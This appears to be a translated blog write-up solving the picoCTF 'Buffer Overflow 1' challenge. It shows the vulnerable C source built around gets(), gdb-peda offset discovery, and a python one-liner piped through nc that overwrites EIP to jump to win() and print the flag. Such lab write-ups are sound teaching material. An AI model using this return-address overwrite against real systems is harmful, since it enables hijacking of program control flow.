This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Buffer Overflow 1

February 10, 20246 minutes

Material / Information

  • Domain: saturn.picoctf.net
  • Port: 63667 (may vary)
  • Binary (vuln)
  • C source of the binary (vuln.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Let’s get started…

First we run the program in gdb-peda and send it lots of “A"s

python2 -c 'print "A" * 100' | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
zsh: done                python2 -c 'print "A" * 100' | 
zsh: segmentation fault  ./vuln

It returns a segmentation fault. That’s because we sent a larger input than expected and overwrote registers in memory. This happens because the vuln function uses gets(), which doesn’t check the input size at all, leading to a buffer overflow

The program printed the message Jumping to 0x41414141. If the message is true, it means we are jumping to address 0x41414141, so we managed to overwrite EIP with 0x41414141, where “41” is “A”

But we can’t trust that message, so let’s run it in gdb-peda to check the value of EIP

> gdb ./vuln

gdb-peda$ r

Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcf2c --> 0xf2f7c200 
EDX: 0x1 
ESI: 0x8049350 (<__libc_csu_init>:	endbr32)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcfb0 ('A' <repeats 52 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 ('A' <repeats 52 times>)
0004| 0xffffcfb4 ('A' <repeats 48 times>)
0008| 0xffffcfb8 ('A' <repeats 44 times>)
0012| 0xffffcfbc ('A' <repeats 40 times>)
0016| 0xffffcfc0 ('A' <repeats 36 times>)
0020| 0xffffcfc4 ('A' <repeats 32 times>)
0024| 0xffffcfc8 ('A' <repeats 28 times>)
0028| 0xffffcfcc ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

Now we can confirm that we are able to overwrite EIP.

The next step is to work out how many “A"s we need to send to reach EIP. We could do this manually, or use the following gdb function

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

This creates a character string designed specifically for this. Once created, we send it to the program

Finally, to finish the calculation, we give gdb-peda the value of EIP so it computes the offset.

gdb-peda$ pattern offset $eip
1094796865 found at offset: 44

We have the offset: 44.

Let’s analyze the program a bit to understand it.

In the vuln function

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

Another function called get_return_address is called. This function isn’t defined anywhere in this code, so we’ll open the binary in Ghidra to look into it.

undefined4 get_return_address(void)

{
  int unaff_EBP;
  
  return *(undefined4 *)(unaff_EBP + 4);
}

It seems to return the value of EBP + 4 positions. But what is 4 positions above EBP?

To find out, we’ll work out how many “A"s we need to overwrite EBP, just like we did with EIP

gdb-peda$ pattern offset $ebp
found at offset: 40

If we need 40 “A"s to reach EBP and 44 “A"s for EIP, what lies 4 bytes above EBP is EIP. To see it in gdb, we can do the following.

We create a payload with 40 “A"s, 4 “B"s and 4 “C"s

python3 -c 'print("A" * 40 + "B" * 4 + "C" * 4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Sending it from gdb confirms the conclusion we reached earlier

EBP: 0x42424242 ('BBBB')
ESP: 0xffffcfb0 --> 0xf7c21600 --> 0xbad06 
EIP: 0x43434343 ('CCCC')

Now we know exactly what the vuln function does, so let’s move on to win.

The win function

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

We can guess the flag is around this function, since it opens a file called flag.txt in read mode…

It’s curious, because the win function isn’t called anywhere in the program. In fact, main only calls vuln(), and nowhere in vuln() have we seen a call to win()

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

But here comes the magic: even though win isn’t called, we can call it ourselves, since we control EIP and can redirect the program flow to the win function

First we look up the address of the win function in gdb-peda

gdb-peda$ disassemble win
Dump of assembler code for function win:
   0x080491f6 <+0>:	endbr32
   0x080491fa <+4>:	push   ebp
   0x080491fb <+5>:	mov    ebp,esp
   0x080491fd <+7>:	push   ebx
   0x080491fe <+8>:	sub    esp,0x54
   0x08049201 <+11>:	call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049206 <+16>:	add    ebx,0x2dfa
   0x0804920c <+22>:	sub    esp,0x8
   0x0804920f <+25>:	lea    eax,[ebx-0x1ff8]
   0x08049215 <+31>:	push   eax
   0x08049216 <+32>:	lea    eax,[ebx-0x1ff6]
   0x0804921c <+38>:	push   eax
   0x0804921d <+39>:	call   0x80490c0 <fopen@plt>
   0x08049222 <+44>:	add    esp,0x10
   0x08049225 <+47>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049228 <+50>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x0804922c <+54>:	jne    0x8049258 <win+98>
   0x0804922e <+56>:	sub    esp,0x4
   0x08049231 <+59>:	lea    eax,[ebx-0x1fed]
   0x08049237 <+65>:	push   eax
   0x08049238 <+66>:	lea    eax,[ebx-0x1fd8]
   0x0804923e <+72>:	push   eax
   0x0804923f <+73>:	lea    eax,[ebx-0x1fa3]
   0x08049245 <+79>:	push   eax
   0x08049246 <+80>:	call   0x8049040 <printf@plt>
   0x0804924b <+85>:	add    esp,0x10
   0x0804924e <+88>:	sub    esp,0xc
   0x08049251 <+91>:	push   0x0
   0x08049253 <+93>:	call   0x8049090 <exit@plt>
   0x08049258 <+98>:	sub    esp,0x4
   0x0804925b <+101>:	push   DWORD PTR [ebp-0xc]
   0x0804925e <+104>:	push   0x40
   0x08049260 <+106>:	lea    eax,[ebp-0x4c]
   0x08049263 <+109>:	push   eax
   0x08049264 <+110>:	call   0x8049060 <fgets@plt>
   0x08049269 <+115>:	add    esp,0x10
   0x0804926c <+118>:	sub    esp,0xc
   0x0804926f <+121>:	lea    eax,[ebp-0x4c]
   0x08049272 <+124>:	push   eax
   0x08049273 <+125>:	call   0x8049040 <printf@plt>
   0x08049278 <+130>:	add    esp,0x10
   0x0804927b <+133>:	nop
   0x0804927c <+134>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804927f <+137>:	leave
   0x08049280 <+138>:	ret
End of assembler dump.

We’ll make EIP point to 0x080491f6 so we can call the win function.

python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | ./vuln

Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.

We managed to redirect the program to the win function!!!! But of course, we don’t have the flag locally, so let’s run it against the domain and port provided at the start

python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | nc saturn.picoctf.net 56276

Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy...}